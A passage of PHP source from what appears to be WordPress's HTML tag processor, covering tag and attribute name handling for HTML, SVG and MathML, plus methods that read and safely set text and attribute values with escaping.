		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
